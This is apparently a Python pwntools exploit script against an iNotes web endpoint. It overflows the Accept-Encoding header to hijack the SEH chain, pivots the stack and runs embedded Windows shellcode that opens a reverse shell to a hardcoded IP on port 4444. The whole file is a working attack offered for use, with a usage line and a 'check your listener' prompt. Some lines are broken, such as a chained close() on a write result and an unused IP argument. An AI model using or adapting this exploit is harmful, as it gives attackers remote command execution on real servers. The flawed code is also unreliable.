from pwn import *
import struct
import sys

def pack(x):
    return struct.pack('<Q',x)


context.arch = 'i386'
offset = 148
# seh chain to a stack pivot and then we run shellcode directly
def clap(host, port, yourip, yourport):
    # calculate sp
    spivot1 = b'\x81\xC4\x33\x33\xC3\x6C\x81\xEC\x8C\x2E\xC3\x6C\x8B\x24\x24\x81\xEC\x33\x33\xC3\x6C\x81\xC4\x9F\x2E\xC3\x6C\xFF\xE4'        
    stager = spivot1
    
    suicide = p32(0xffffffff) # exception 1
    sehagent = p32(0x18228310) # seh duper
    suicide2 = p32(0x01010101) # exc 2
    spjump = p32(0x7c345c30) # jmp sp to sc
    junk = p32(0x18227d82) # anything readable here is fine
    # seh offsets shit
    niceone = b'A'*offset
    print("+ building payload")
   #  niceone = niceone[:52] + suicide + niceone[56:]
    niceone = niceone[:68] + sehagent + niceone[72:]
    print("+ first seh attached")
    niceone = niceone[:80] + suicide2 + niceone[84:]
    print("+ exception jmp")
    niceone = niceone[:104] + junk + niceone[108:]
    niceone = niceone[:112] + spjump + niceone[116:]
    niceone = niceone[:116] + sehagent + niceone[120:]
    
    niceone += stager
    print("+ attaching nopsled")
    niceone += b'\x90' * (1000 - 400)
    niceone += b"\x30\x5c\x34\x7c" # stack pivot 
    shellcode = b"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xc9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\x89\xde\xff\xd2\x83\xc4\x0c\x5a\x50\x52\x66\xba\x6c\x6c\x52\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x04\x68\x75\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x89\xc7\xff\xd2\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x53\xff\xd0\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x64\x8b\x14\x1c\x68\x74\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x89\xf8\x50\xff\xd2\x57\x31\xc9\x52\x52\x52\xb2\x06\x52\x41\x51\x41\x51\xff\xd0\x91\x5f\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x63\x8b\x14\x1c\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03\x61\x68\x63\x6f\x6e\x6e\x54\x57\x87\xcd\xff\xd2\x68\xc0\xa8\xc9\x0b\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x55\x87\xef\xff\xd0\x83\xc4\x14\x31\xdb\x80\xc3\x04\x6b\xdb\x62\x8b\x14\x1c\x68\x73\x41\x61\x61\x81\x6c\x24\x02\x61\x61\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x89\xf5\x55\xff\xd2\x50\x8d\x28\x68\x63\x6d\x64\x61\x66\x83\x6c\x24\x03\x61\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xff\xd5"
    print(f" shellcode size is {len(shellcode)}")
    print("+ assembled shellcode")

    # if (len(shellcode) > offset):
        # print("shellcode is too large")
        # import sys; sys.exit(1)
    niceone += shellcode
    print("+ len is", len(niceone))
    
    currsize = len(niceone)-offset
    print(f"+ curr: {currsize}")


    # with open("payload.bin", "wb") as f:
    #     f.write(niceone)
    open("payload.bin", "wb").write(niceone).close()
    
    request = b'GET /iNotes/Forms%d.nsf// HTTP/1.0\r\n'
    request += f'Host: {host}\r\n'.encode()
    request += b'Accept-Encoding: ' + niceone + b'\r\n'
    request += b'Connection: Close\r\n'
    request += b'Cache-Control: no-cache\r\n\r\n'
    print("+ sending")
    for i in range(10):
        conn = remote(host.format(i), port)
        conn.send(request)
        conn.close()
    print("+ check your listener")
    
if __name__ == '__main__':
    if len(sys.argv) < 5:
        print(f"xp <target> <target port> <ip> 4444")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2])
    yourip = sys.argv[3]
    # yourport = int(sys.argv[4])
    yourport = 4444    
    clap(host, port, yourip, yourport)